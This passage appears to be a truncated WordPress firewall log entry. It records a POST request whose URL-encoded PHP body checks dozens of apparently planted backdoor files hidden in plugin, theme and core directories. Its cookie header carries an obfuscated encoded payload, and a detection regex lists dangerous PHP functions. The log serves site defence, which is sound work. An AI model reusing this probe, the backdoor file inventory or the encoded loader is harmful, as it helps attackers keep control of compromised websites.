%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/asm.php%22%3D%3E%22bd%40%40244668675%40%40665%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 03:03:21","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> is:%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/asm.php%22%3D%3E%22bd%40%40244668675%40%40665%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=8daaffd16fd7c7835307f0d6af9d1696; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"macOS\"\ncontent-length:13568\nsec-fetch-dest:document\nsec-fetch-site:none\n\nis=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core32\/mpasm.php%22%3D%3E%22bd%40%40278623559%40%40891%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Unary\/banners.php%22%3D%3E%22bd%40%40282623633%40%40667%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/product-filter-taxonomy.asset.php%22%3D%3E%22bd%40%40287668688%40%4022%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/classes\/abstracts\/ActionScheduler_Abstract_ListTable.php%22%3D%3E%22bd%40%40287676384%40%40%24_COOKIE%5B4%22%2C%0A%22\/wp-includes\/Requests\/src\/Auth\/accept.php%22%3D%3E%22bd%40%40257245411%40%40871%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Parse\/bg_BG.php%22%3D%3E%22bd%40%40244665584%40%40597%22%2C%0A%22\/wp-includes\/SimplePie\/library\/SimplePie\/Decode\/HTML\/asm.php%22%3D%3E%22bd%40%40244668675%40%40665%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%